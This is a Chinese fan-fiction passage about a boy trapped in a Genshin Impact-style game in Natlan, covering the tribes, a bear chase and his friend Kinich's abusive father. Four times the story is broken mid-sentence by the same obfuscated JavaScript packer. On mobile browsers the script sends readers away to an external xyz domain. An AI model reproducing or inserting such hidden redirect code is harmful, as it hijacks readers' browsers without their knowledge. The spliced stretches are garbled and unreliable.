我和达利也两个人合作把这一大堆书往家里推,等终于看到那棵巨树的轮廓时,我已经累得满头大汗了。 “呼,呼——”达利也弯着腰,气喘吁吁地对我说,“少爷太倔强了,您身体又不好,这种粗活我来干就行了。” 他不说还好,他一说我现在确实感觉心脏处有点闷闷的感觉。 这副身体真麻烦,我心中评价道。 “没关系,我只是在旁边推了一下,没费多少力气。” 我看着他把书籍都推到了我自己的房间里,然后一本一本地整理到我能方便够到的地方。 在他整理别的书的时候,我顺手抽了一本书出来看。 《部落奇谈》,这本书看起来应该会有值得探讨的信息。 果然书摊子上买的书质量不会很高,这本书虽然看起来很新,但是几乎没有插画,文字也有错印,甚至纸张也有毛刺。 我坐在一旁的小板凳上,开始认真一页页地翻。 整本书不算特别厚,在有限的内容里,情情爱爱打打杀杀的描写就占了一半以上,所以有用的信息不算特别多,而且大部分都比较破碎零乱,甚至还有前后矛盾的。 我慢慢翻书的时候,达利也已经整理出一个书架了,他见我看得入迷,也没出声叫我,不知道什么时候就出去了。 我按了按眉心,从椅子上起身,在这一排书架里找相似的书先看,想把这些零碎的信息拼凑起来。 这游戏真是害惨我了,我在学校复习考试都没这么认真。 唉。 大概把同题材的都看了个遍,我才大致整理出来了一份大致还算说得通的故事线。 这个游戏的世界观还挺宏大,好像是个叫提瓦特的大陆,上面有许多国家。这些书里面有些涉及到了这些国家,但是都很杂乱无章,相互之间的信息也有矛盾,况且这一部分暂且不算紧要,所以我打算先放一放。 关于这个国家的部分,这些杂书倒是介绍的还算全面。这个国家据称是“火之国”和龙的国度,名叫纳塔。跟我猜的差不多,这个国家果然跟龙有关系,沙漠火山峡谷的地形也与火紧密相关。 其实在我看来,纳塔说是国家还不准确,应该叫一个部落联盟才对。纳塔是由六大部落组成的: 龙众是嵴峰龙,擅长采矿、加工与买卖的岩元素部落回声之子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982066|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 龙众是匿叶龙,擅长送信、磐岩和打猎的草元素部落悬木人,也是我所在的部落。 龙众为鳍游龙,擅长冲浪和充当向导的水元素部落流泉之众。 龙众是突角龙的雷元素部落沃陆之邦。 龙众是绒翼龙,主要负责调停纠纷的火元素部落花羽会。 龙众是暝视龙,擅长占卜和语言的风元素部落烟谜主。 对,还有元素。这里的设定里,应该是有一种类似于现实世界里那种修真玄幻或者魔幻小说里的魔力,他们把它叫做元素力,纳塔对应的主导元素力是火元素,但是这种力量似乎并不是所有人都有的,能使用这种力量的人有些似乎有“神之眼”,而有些似乎是被叫做“古名”继承者。当然也有不需要神之眼的,他们把这些人称为魔神。纳塔的魔神是火神,是位女性人类。 除了这些表面上的强者,纳塔最重要的设定还有一个——住在底下夜神之国的大灵。纳塔人信大灵,拜大灵,大灵也会通过黑曜石柱听取部落的祈祷,传达指示。像这样的黑曜石柱子有六个,对应纳塔的六大部落,每个部落都有自己对应的大灵。在大灵之下地位最高的就是历代的火神,在火神之下地位最高的就是古名的拥有者。古名是一种头衔,源于纳塔历史上的英雄人物。纳塔最早刚刚成立的时候,就像是我所在现实世界的封建王朝一样,打江山并不是初代火神单枪匹马闯出来的,火神身边也有许多来自各个部落的英雄人物,他们都有自己的绰号,绰号据说会根据大灵的选择,继承给下一任,也就形成了流传于后世的古名。 纳塔人争战的敌人,是深渊。关于深渊的部分,书里面涉及到的很少,即使有也似乎是乱编的,不同的书冲突得很厉害。 我猜是因为元素力只有少部分人能使用,而对抗深渊需要这种力量,所以编写这种市井杂书的普通人并没有对抗深渊的实际经验,只能是靠想象来写,难免露怯。 纳塔对抗深渊的方法主要是靠圣火来压制。初代火神和开创古名的英雄们只是献祭点燃了圣火,让火烧的更旺。而每隔五百年,这把火都会面临熄灭的危险,这时候就需要有新的英雄力挽狂澜。能不能撑到下一个500年,等到奇迹的出现,还是要靠历代火神和新一代的英雄们共同维护。纳塔每年举办的竞技比赛就是为了这个目的,通过战斗产生火苗,来滋养圣火。 唉,我又叹了口气。分析了半天,结果还是很复杂。 外面天已经黑了,第二天又这样过去了。看来这游戏确实需要认真对待,剧情线背景铺设得如此庞大,主线一定不会是简单的任务。 我又在心中暗骂了一百遍游戏系统,发誓出去之后一定要把这家游戏公司告到破产。 5. Chapter5 我伸了个懒腰,准备出去找点东西吃,心里还感觉有点儿奇怪。达利也居然没有催着我吃饭,这不太符合我对这个NPC的刻板印象。 推开门,我才看见门前放了一个精致的木雕小篮子,里面是已经凉透了的饭菜。 午饭吗?还是晚饭? 我脑中还在想刚才得知的那些游戏信息,所以也懒得再折腾了。反正作为一个事实上的孤儿,有饭就不错了,凉的也能将就吃,于是我弯腰准备把那个篮子提起来。 下一秒,隔着一个房间的另一扇门打开了。吱呀的声音传过来,我意识到那是阿雅克,想起了昨天在那个房间里莫名其妙的场面,稍微愣了一下。 浅蓝色的眼睛发现了我,不出意料地朝我看过来,眼底似乎依旧没什么感情。 我看了他一眼,态度不算和善地收回目光,提起篮子就准备进门。 “伊迷,”他叫住我,语气简直像换了一个人一样,听起来居然有一丝温柔,“凉了的菜就不要再吃了,对身体不好。” 我顿住脚步,诧异地朝他投去目光。 发什么神经?精神分裂吗? 我脸上的嘲讽简直藏不住,于是我很愉快地看见他沉下了脸色。 但是下一秒,他居然又换上了那副令人毛骨悚然的温柔面孔,而且朝我走了过来。 我下意识后退了一步。 阿雅克凑近,高大的身姿投下一大片阴影,他居高临下地看着我,然后揉了下我的头,动作很轻地把篮子从我手中拿了过去。 我突然意识到什么,余光往后一瞥,果然看见了一个男人正在看着我们的互动。 我借着身量小的优势,不动声色地狠狠掐了一把阿雅克的大腿,以报复他对我头发的蹂躏。 听到他压低的嘶声后,才满意地转身,朝不远处的男人挥了挥手。 “父亲。” 那男人看了看我,没什么感情地点了点头。 诶? 这两个人怎么反应这么相似? 我看了看阿雅克,又看了看不远处已经移开目光的便宜爹,好像发现了什么惊天大秘密。 原来不是反应相似,是这两个人根本就长得像极了! 我连忙后退一步,躲开阿雅克暗戳戳的报复,然后闪身进门,朝他做了个鬼脸。 原来如此。 怪不得一进游戏对我的恶意就这么大,原来这货是私生子。 也不知道便宜爹怎么想的,把阿雅克放在他和便宜娘房间的中间,而且还长这么像,难道他生怕别人看不出来他搞外遇了吗? 呃呃。 算了,反正他们怎么办也不关我事。我还是专注研究主线到底是什么吧。 刚想坐下来边吃变想,我才反应过来篮子被阿雅克拿走了。我正准备出去问阿雅克要回来,门却被人敲响了。 “请进。”我正襟危坐。 进来的不是阿雅克,是我心心念念的达利也。 “少爷,”达利也变戏法似的从身后提出一个篮子,随后老妈子一样开始唠叨:“诶呀,刚才看见阿雅克把中午的篮子提出去,我一不在少爷连午饭都忘吃了,这样病怎么好的了呢……” “他提走了?”我还以为他会下点毒给我放回来呢。 “对呀,”达利也一边摆饭一边疑惑道,“他说冷饭吃了伤身体。” 哦,这就是还在装。小装货。 “真是个善良的人呐,”我毫无诚意地夸奖,然后指了指房间内毫不配套的家具,“就是不知道为什么在这个方面不太聪明。” “……”达利也似乎也很困惑,半晌才憋出来一句,“也许阿雅克比较粗心吧。” “嗯嗯。” 我不想再继续这个话题,于是问他:“你今天到哪儿去了,花了这么长时间。” “哦,对!我今天去给少爷的朋友还摩拉了!” 基尼奇吗? 我奇怪地看了他一眼:“还摩拉要这么久吗?” 刚才还兴冲冲的达利也忽然有点儿支支吾吾的,眼神似乎有些躲闪,“也不是只有这个原因,就是……” “怎么了?”我一边吃饭一边问。 “少爷的朋友基——是叫基尼奇对吧——他似乎过得不太好。” 我猜中了,毕竟一个六七岁的孩子过得好的话,怎么可能天天在外面做交易,又怎么可能带着一身伤。 我做出一副惊讶的样子,“他怎么了?” 达利也看了看我,叹了口气,说:“我今天本来打算送完摩拉就快点回来服侍少爷吃饭的,没想到沿路问不到少爷的朋友住在哪,大家都只知道有这个孩子每天在街上帮别人干活。” 他又叹了口气:“有人告诉我他们家的住址,我到了才发现他们已经搬走了,邻里们似乎不太想谈论这个事情。我最后问到利克长老那儿,才知道他们一家搬到山脚下去了。” “虽然有点远,但是问已经问到了,所以我就去了。一去就发现……” 他卡壳了。 我很好奇,问道:“发现什么?” 达利也委婉地说:“家里正在发生冲突。” 我了然:“哦,在吵架啊。” 达利也似乎被我的直接惊讶到了,不过无所谓,六岁小孩口无遮拦没什么。 达利也果然没说什么,他只是继续讲他看到的东西:“我发现……基尼奇的父亲,正在拿着啤酒瓶砸他的母亲,我去的时候,少爷的朋友已经被砸晕了,伤得很严重。” 家暴? 我皱了皱眉,有点儿反胃。 虽然说这游戏里的人物都是NPC,对我来说不过是虚拟的数据,但我很讨厌这种做法,就像我讨厌悬木人始祖传说中透露出的扭曲三观一样。 毕竟,对我而言,这只是游戏,但对拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982067|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有智能的他们而言,这就是人生。 家暴男无论游戏还是现实都该死。 我费力咽下嘴里的食物,说:“他现在怎么样?” 达利也呼出一口气,说:“基尼奇没事——我发现之后,上去制止了他父亲。他父亲认得我们家的族服,所以没敢怎么样。我给了他点钱,他拿着酒瓶就走了,似乎又去喝酒了。” “之后我去请了巫师来给他们处理了一下,少爷的朋友没过多久就醒了。巫师告诉我,这样的状况应该已经持续很久了。” ……你们这巫师靠谱吗?我腹诽道。 似乎是看出了我对巫师的不信任,达利也连忙道:“巫师大人是古名继承者,治护能力很强的。这么多年他的能力似乎只在少爷身上没什么作用……” 他说着说着又陷入了担忧。 “呃呃,快别说了,继续说基尼奇的事情。”我制止了他。 “哦,基尼奇醒了之后,我就把钱和药都给了他,他还想拿东西来交换,我说他是少爷的朋友,不需要客气,他就没再坚持了。后面我帮着处理了下他家的一些小困难,但毕竟是人家自己的事情,再深点我也不好再插手了。” “做得很好,谢谢你,达利也。”我拍了拍弯着腰的达利也。 我忽然就想起了那天拍基尼奇的手感,心里叹了口气。 我心想,如果在出游戏之前有机会的话,我可以试着去改变一下这件事情。 忽然,一道声音在我脑中响起。 【检测到故障……正在修复中……51%……修复失败】 我愣了一下,随即兴奋起来。 系统有反应了吗?!难道因为我触发了主线? 我想了想刚才经历的事情。如果主线与故事背景有关的话,应该在我下午读书的时候就会提示了,这个时间提示的话……难道是因为基尼奇? 我试着在心中默念:拯救基尼奇,拯救基尼奇,拯救基尼奇…… 【检测到故障……正在修复中……51%……修复失败】 我又试了几次,结果都一样,都是这个机械冰冷的通知声。 果然是这样,主线果然跟基尼奇有关,但就是不知道为什么显示修复失败。我倾向于认为我对主线的理解出现了偏差,主线并非拯救基尼奇,而是与基尼奇这个人有关。 不过能在第二天就发现了主线相关线索,已经是意外之喜了。 一旁看着我神色变化的达利也看起来有些奇怪,他担忧地问我:“少爷,您没事吧?” “没事!”我意识到自己的嗓音有点太激动了,于是又补了一句平静版本的“没事”。 小基尼奇,你可真是我的好朋友! 虽然这全息游戏把人物作为主线有点奇怪,但是连故障这种东西都能出现,别的也不足为奇了。 明天就去找基尼奇!耶,离开这破游戏指日可待。 6. Chapter6 这是我被困在这个全息游戏的第三天,我得知了部分还算说得通的游戏背景信息,最重要的是,我找到了游戏的关键人物——基尼奇。 我决定今天去找基尼奇试试水。 我顺着大树屋的边上往外走,没有让达利也跟着,只是问了他基尼奇家的方向。 达利也指了指我的左前方,说:“少爷沿着树屋出去,往黑曜石图腾柱那个方向走,那边有单向的木桥栈道,一直往山下走,等见到乌厄尔河的时候就到了。” “如果找不到的话就回来,我带少爷去。应该是挺好找的,”达利也朝我笑,接着补充道,“对了,少爷千万别跨过乌厄尔河再往下走,那边不太安全。” 他看起来还算放心,大概是因为悬木人这个部落里的民风还算可以,不会有什么危险。至于乌厄尔河的话,应该算是某种游戏里的安全区界限之类的,我目前也没有跨过安全区去探险的打算——毕竟我还是个六岁小屁孩。 我挥挥手朝他道别,然后背上了他准备好的小行囊,往他说的那个方向走。 绕过大树屋,我果然看见了一片建在悬崖上的广场。 我正在四处张望,想找达利也说的那个什么黑曜石图腾柱,结果突然迎面撞上一个十五六岁的少年。 这人穿着一身紫色花纹开敞衫,胸膛上还绘着奇怪的图案。他火红色的眼睛热情专注地看着我,然后说:“小朋友,要不要买我家新采的颗粒果呀!” ……小朋友你个大头鬼,如果年龄没有缩水,你该叫我哥哥。 “不要。”我揉了揉鼻子,回了他一句,继续找那个黑曜石图腾柱。 “真的不要吗?”他咧着嘴大笑,“我这里还有粒果杯、粒果片片、粒果肉汤和塔塔可嗷!尤其是塔塔可,既有虾仁的鲜美、奶酪的醇厚,又有颗粒果的独特口感,你们小孩子最喜欢吃咯!” 我站住脚步,歪头朝他一笑:“大哥哥。” “诶!”他似乎被我的称呼取悦到了,看起来有种傻傻的乐感。 我接着说,语气真诚且稚纯:“我身上没有摩拉啦,你能每样都送我一个嘛?” 他噎住了,似乎有些苦恼,没再向我推销了。 我满意了,继续往前走,结果下一秒,那个少年风风火火地冲了上来,又亮出了和之前一样的毫无阴霾的笑。 我刚要说我真的不买,就看见他拿了一个小包出来,塞到我怀里。 “送你啦!好可爱的小朋友!” 我还没反应过来,这人又急急忙忙地走了,似乎跑去跟别人推销了。 我顿了顿,打开他塞给我的小包,里面是满满当当的各种他所说的颗粒果食物。 ……这游戏里的民风还真是出乎意料的淳朴,跟现实完全不一样。如果是在现实中遇到这样的向小孩子的推销,八成是诈骗和诱拐。 我心里说了声谢谢,接着找我的目标。 远处依旧是人来人往,非常热闹,沿着街道摆着无数篝火,即使在白天也不减光芒。 在篝火的中央,我似乎看见了一个散发着荧光的黑色物体,应该就是达利也所说的黑曜石图腾柱。 那里站着一个女孩和一只绿色的龙。 我突然有点好奇这个黑曜石图腾柱会不会有别的作用。一般来说,在部落里面,图腾的存在是很常见的,大概会寄托族人的一些祭祀愿望,除此之外别无他用。但这是个有元素力的“魔法世界”,我觉得这个黑曜石图腾柱说不定会有别的作用。 于是我决定花点时间来探刺点情报。我露出一个天真的笑,朝那边一人一龙走过去。 “姐姐。”我走到旁边,喊了一声。 “诶?小孩子?”那个女孩愣了一下,然后环视一圈,“你爸爸妈妈呢?” “他们在附近买东西啦。”我说。 “噢,这样啊,”她笑了笑,蹲下来平视着我的眼睛,“那你有什么事情吗?我叫露可,是这里给龙看病的见习医生,虽然我会的不多,但也给小龙们上药谈心还是可以的,有这种需要帮忙的地方都可以找我哦!” 呃,所以你们纳塔是有医生的,只不过医生是给龙看病的。 “谈心?人与龙也能谈心吗?”我疑惑地问。 “当然啦,匿叶龙也是很聪明的!”她回答道,随即自豪地说,“虽然匿叶龙不太喜欢和人待在一起,但并不排斥我呢。” 我看了看旁边全身绿绿红红的大龙,又看了看手中的那些颗粒果食物,突然觉得它们有点像。 露可注意到了我的目光,热情地给我解答:“匿叶龙和颗粒果的颜色很像对吧?其实匿叶龙就是以颗粒果为食的呢,应该是吃什么长成什么吧。” 她被自己的玩笑逗乐了,旁边的匿叶龙突然也兴奋起来,它伸出长长的舌头,从我的包里卷走了一枚颗粒果,几乎瞬间吞进了肚子。 “加利!”露可反应过来,责怪道,“这是别人的东西!” 回答她的是愉悦的尖尖嚎叫声。 “没事没事,”我看着绿色的匿叶龙摆摆手,“我还想问姐姐一些问题呢。” 她扶额:“实在不好意思,匿叶龙们其实很好的,只不过有时候有些贪吃。小朋友,你说吧。” “这个黑曜石柱有什么作用呀?” “你问这个啊,”她想了想,说,“大人们应该都知道,黑曜石图腾柱是悬木人的圣物呢,它可以直接赋予我们直接与大灵沟通的能力,悬木人在面临重大抉择和祭祀习俗的时候,都会请求大灵给予意旨,古名的传递也是通过黑曜石图腾柱来进行的。” 哦,这个信息倒是跟《部落奇谈》里透露的差不多。 见我思考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982068|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,露可问我:“你想试试吗?” “啊,试什么?”我愣住了。 露可脸上露出向往与憧憬:“当然是试试能不能跟大灵沟通呀!一旦沟通成功说明大灵认可你了呢,就有机会成为古名的继承者哦!” 还有这种隐藏玩法? 我激动起来,作为特殊玩家,我肯定能与黑曜石图腾柱共鸣吧!难道我的金手指要来了?太好了,看来我的选择没错,说不定我触发了隐藏支线。如果我真能拿到古名的能力,那我距离摆脱这破游戏又近了一步。 我跃跃欲试。 露可将我抱上了黑曜石的高台,然后鼓励性地看着我。 我深吸一口气,闭上眼,缓缓将手放了上去,冰凉的感觉透过指尖传过来,和最初我进入游戏时摸到的游戏舱手感非常相似。 一秒—— 两秒—— 三秒—— ……直到我摸着的那一块黑曜石都被我的体温捂热,我也没有感受到什么共鸣。 我面无表情地睁开眼睛。 这破游戏,我就知道不会让玩家好过。一个连系统界面都故障的游戏,怎么可能会给我发金手指。 无语了。 我收拾好心情,朝一旁期待的露可露出一个无奈的笑。 她看懂了我的表情,尴尬地安慰道:“没事的,没有共鸣也是正常的,毕竟大多数人还是普通人。” 我点点头,朝她道了谢,然后跳下高台,继续我原先的目的。 我一边恶狠狠地咬着颗粒果食物,一边朝着既定方向走去。甜甜的口感在口腔里爆发,我意外地发现这东西还挺好吃。 基尼奇,基尼奇,没有金手指的我只能从你入手了。 我顺着单向木质栈道一直往前走,走到尽头却没有看见什么河,反倒是一片茂密的丛林。我怀疑我走错了,于是打算绕回去重新走。 ……结果绕回去发现根本不是原来的栈道。 太好了,迷路了。我有点绝望。 算了,我安慰自己,反正达利也说了悬木人部落里很安全,我就坐在这儿等他来找我吧,反正也不会遇到危险。 我抬头,双眼无神地看着远处湛蓝色的天空和不断摇晃的草丛。 等等,摇晃的草丛? 不对啊,这里没有风啊。 我缓缓地站了起来,感觉有点不对。 片刻,草丛停止了摇晃,里面逐渐钻出一大团棕灰色的东西。随即,一个吐着气的硕大的野熊露了出来,正目不转睛地盯着我。 我深吸一口气,然后僵硬地摊开手,示意我没有威胁。但它显然不准备放过我这个似乎不小心闯进它领地而且看起来手无缚鸡之力的人。 服了,什么坏事都能让我遇见! 在它冲向我之前,我撒腿就往回跑。 7. Chapter7 能不能来个人告诉我为什么龙的国度会有这种巨大的野熊! 我扔掉了所有行囊,拼了命地往前跑,颇有些慌不择路地穿过乱七八糟的山林草丛,身后是树枝折断的声音和越来越近的兽类喘息声。 短手短脚的六岁小孩怎么可能跑得过野熊,这下好了,还没搞清楚游戏主线具体到底是什么内容,我就要因为迷路误入野兽领地而把自己作成全息脑死亡了。 汗水沿着我的脸颊往下滴,我感觉到心脏开始一阵一阵地抽痛,四肢也开始乏力,眼前的黑影越来越多。 下一秒,一只劲瘦的手从上面揽了过来,但是我没有反应过来,只是感觉自己被什么东西捞住了。 我下意识看向身后,在野熊扑过来的一瞬间,我感觉自己飞了起来,四肢腾空。 啊,我面无表情地想,不会是被野熊扑飞了吧,这下死定了。 然后,我看见野熊从我□□钻了过去,直直撞上了前面的大树,激起阵阵灰尘和落叶。 诶?我没有被扑中吗? 我扑腾着要从空中下来,却听见后面传来一声熟悉而冷淡的声音。 “……别闹,这棵树撑不住。” 我回头一看,熟悉的苍绿色眼睛印进我的眼底。 我一愣,随即冲着他笑了起来:“基尼奇!” “嗯。”他别开脸,看向下面重新站起来的野熊。 我发现我们两个现在站在一个大树的树枝上,我终于反应过来刚才是他的手把我提了起来,于是大大松了一口气。不知道为什么,基尼奇虽然是个小孩,却总是给人一种可靠的感觉。 可能是因为他是我在游戏里第一个认识的人,并且还把我带回了家。也可能是因为在我没钱付账感到尴尬的时候,他借给我了钱。最重要的原因可能是,基尼奇是主线的重要人物,是我离开游戏的关键,而且可能是整个游戏世界的主角。 他把我放了下来,我扶着树干站稳在树枝上。 “基尼奇,我们现在怎么办?”我看见了底下开始乱吼发狂的野熊。 他看了我一眼,想了想,说:“一会儿跟着我一起跳下去,然后把它引到陷阱里去。” “陷阱?” “对,我知道位置,一会儿你跟紧我。” 基尼奇瞬间进入了状态,眼神变得专注而锐利。 “三——” “二——” “一——” “跳!” 在野熊扑上来之前,我们朝另一个方向跳了下去。 刚才追逐中消耗的体力还没完全恢复,我感到自己跑得非常吃力,血腥味逐渐漫上喉咙。 基尼奇似乎注意到了我的不适,他边跑边向我伸出了手:“抓着我。” 我伸手抓住了他,温暖而干燥的掌心与我湿漉漉的手掌相贴,几乎瞬间,我感觉到自己消耗的体力少了许多——基尼奇在带着我跑。 野熊仍然紧随其后。 跑了有一段之后,基尼奇忽然拉着我向左边的灌木丛一扑。落地之前,他甚至用空余的一只手护住了我的后脑勺,我不得不惊叹于基尼奇野外生存的细心和熟练程度。 我的余光里,野熊由于体型太过巨大,刹不住车,于是没来得及转弯扑向我们,下一秒,棕黑色的身影踩断了地面,掉进了一个巨大的陷阱坑,掀起一层落叶。 我们两个都很累,一时没来得及起来,就保持这个姿势休息了一会儿。 我听到了基尼奇细微的喘息声和心跳。 我松开他拉着我的手,朝他露出微笑:“吓死我了,多亏了你!” 这话倒是不假,没有他,我估计已经脑死亡退出游戏了。 基尼奇站了起来,没有说什么,他只是走到陷阱旁边,往里面看了一眼。 我看着他的背影,才注意到他的脑袋上还缠着一圈绷带,现在已经微微渗出血了。我愣了一下,才反应过来这是昨天他父亲家暴留下的伤。 “基尼奇,”我看着他转过身,苍绿色的眼睛里露出疑惑,“你的伤渗血了。” 他顿了一下,伸手摸了摸自己的后脑勺,然后说:“没有大碍,习惯了。” 这也能习惯?我吐槽道。 “对自己的伤上点心吧,小兄弟。”我凑近他,也看了一眼陷阱。 里面的野熊应该摔死了,现在趴在下面一动不动。 基尼奇从周边又采集了一些枯枝树叶,把陷阱洞口重新封好。 我戳了戳他,“一会儿你跟我原路返回一趟,我的行囊里有药。” 他停下手中的动作,看向我:“你还要回去那片树林吗?” “里面的野熊可不止一只。” 我怂了,摇了摇头。 他看见我的神色,似乎笑了一下。我觉得他在嘲笑我。 “喂,我是为了你好!”我不满道。 基尼奇布置好,才说:“跟我回家吧,我家里有药。” 回家?你家里有药还让我去干什么? 他看着我,似乎在等我的回复。 哦对,基尼奇是重要人物,我今天本来就是要去他家找他的,现在他主动邀请我了,不是更好吗?! 我连忙握住他垂在身旁的手,说:“去,当然要去!” 基尼奇看了我半晌,突然说:“昨天的事情谢谢你。” 我摆摆手。 他没有继续说什么,只是沉默地在前面带路。 跟着他走到了原来的木质栈道,我才发现我在一个岔路口走错了方向。不过基尼奇的家确实很偏,我跟他又沿着原来的方向走了很久才走到。 一条很宽的河自悬崖之上一泻而下,如同一条银白色的雪带铺设在峡谷中央。这应该就是乌厄尔河,它将悬木人的部落与对岸划分开来。而基尼奇的家,就在悬木人部落所处的山脉脚下。 没错,这里离悬木人主部落很远。估计这一点也方便了基尼奇的便宜爹搞家暴。 房子外面看起来很小,但是看起来很干净,看起来里面住的会是那种有着简朴但是幸福生活的家庭。 但也仅仅是看起来。 基尼奇轻车熟路地打开外面小篱笆的门,然后回头看了我一眼,示意我跟进来。 我没来由地有些紧张,亦步亦趋地像只尾巴一样跟在基尼奇身后踏进了小屋。 “小奇回来了?”一道压低了的女声传了过来,听起来很舒服,是那种温柔细腻的类型,我顿时没那么紧张了。 “嗯。”基尼奇应了一声。 一个穿着灰绿色衣服的女人从里间出来了。她长得很好看,虽然穿着打满补丁的衣服,依旧态度平和。她跟基尼奇一样,有着一双苍绿色的眼睛,但是没有基尼奇的眼睛那样瑰丽奇异。 我下意识地又看了眼基尼奇的眼睛,对方回给我一个淡然的眼神。 “咦?这位是?”基尼奇的母亲发现了我,并没有过多在意我身上显然很富贵的装束,只是朝基尼奇询问。 “朋友。”基尼奇言简意赅道。 “嗯嗯,阿姨好!”我露出一个乖巧的笑。 “噢好,小奇的朋友啊,真好,”她笑了笑,非常温柔的感觉,就像春风,“你们先坐,午饭一会儿就好。你这孩子也不早说朋友要来,我再去烧几个菜。” 基尼奇看着他妈妈出了门去另一边的厨房,然后收回目光看向我:“我家比较简陋。” 他没有说完。 “挺好的,我喜欢这样的氛围。”我真诚地说。 如果没有家暴男就更好了。 基尼奇听见这句话明显怔了一下,然后恢复平静。 我看了看我们两个现在浑身脏兮兮的状态,突然有些奇怪:“咦,你妈妈怎么不问我们为什么搞成这个样子。” 基尼奇看向外面蔚蓝的天空,说:“这很正常。我经常出去打猎,这种事情是常有的事。” 我惊奇地看着他:“经常?这难道不应该是你父亲应该做的事情吗?” 说完我才觉得我的语气有些不礼貌。 基尼奇眼中闪过厌恶,随即又被更复杂的情绪替代:“他只会赌博喝酒,家里的事情都是我和母亲做的。” 哦,不仅家暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982069|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还吸血。 “绷带和药在哪?你头上的伤要处理一下。”我换了个话题。 基尼奇站起来,在家里翻找了一阵,然后把一个药箱放在桌子上,开始自顾自地包扎。 还挺自觉。反正我本来也不会包扎。 我们沉默下来。他是因为本来就是这种少话的性格,而我是因为在想主线任务的事情。 现在我已经到了基尼奇的家里,今天也和基尼奇一起经历了一场脱险,但是系统并没有提示我有什么别的信息。 难道是我没有找到关键点? 我有些苦恼。 下一秒,基尼奇按下了我的头。 “咻。” 一个什么东西从我头顶飞了过去,砸在了墙上,随即发出脆响,四分五裂的玻璃片飞溅。 ——是个酒瓶。 我抬头看向门口,那里站着一个身材高大的男人,离着这么远都能闻到他身上的酒气和满身的怨气。 “小崽子,又给我带个赔钱货回来。”那男人嗤笑道。 基尼奇面无表情地看着他。 这是基尼奇的父亲吧。果然是个神经病人渣。 “我们这里不管饭,少爷请回吧。”男人浑浊的眼睛看向我。身后,基尼奇的母亲小心翼翼地站在原地,手足无措地端着一个已经破碎的盘子,目光担忧地看向我。 嘿,我有点儿生气,这货怎么有脸说出这种话的,粮食都不是他弄来的。我握紧拳头,准备站起来跟他理论。 基尼奇皱了皱眉,按住了我的肩膀。 他站了起来,走到门口,仰头看向他父亲。 “我打到一只熊,只有我知道在哪。”基尼奇说。 屋里的气氛凝滞了一瞬,男人明白过来基尼奇在说什么,随即是更愤怒的嚎叫:“好小子,居然敢威胁你老子……” 眼看他扬起的手掌就要落在基尼奇刚包扎好的脑袋上,我眼疾手快地跳起来拉着基尼奇后退一步,随即恶狠狠地看向家暴男。 “你是不是个人,他头上还有伤!” 受不了这个神经病。 我从身上掏出来一个钱袋子,使劲扔给他:“拿着这些摩拉,滚回你的小酒寮和破赌场!” 他满意地掂了掂钱袋子的重量,阴鸷地笑:“还是少爷知道我想要什么。” 他把钱袋子塞进口袋,伸了个懒腰,哼着歌出去了。 基尼奇看了看我握着他的手,然后说:“你不该给他的。他闹这一出就是为了这个目的,他认识你,知道你有摩拉。” 我松开手,反问道:“那你说怎么办?让你挨一巴掌又伤上加伤吗?” 他垂下眼,说:“挨了就挨了。” 我气笑了,懒得理他:“给了就给了,我乐意。” 他不说话了。 我往门外看去,基尼奇的妈妈确认我们没事之后,就又去厨房了。 半晌,他才突然说:“我怎么还你。” 我愣了一会儿才知道他在说什么。 这小交易鬼还在想他的交易。 “不用还,你是我的朋友。”就算不是朋友,我也会帮。我恶狠狠地想,基尼奇便宜爹这种人渣我见一个除一个。 话音刚落,一道声音在我脑海中响起来。 【检测到故障……正在修复中……61%……修复失败】 ……?这不对吧?我做什么了涨了10%进度。 难道是因为我把家暴爹赶走了?这肯定不是主线吧?之前不是试过主线不是拯救基尼奇吗? 我抬头看向基尼奇。 那双瑰丽的苍绿色眼眸此刻正在认真地看着我。片刻,基尼奇开口:“好,我们是朋友,这是你说的。” 我感觉他下一句要说“不准反悔”。 我觉得我猜对了,因为我脑海中刚浮现出这个念头,系统就出现提示了。 【检测到故障……正在修复中……71%……修复失败】 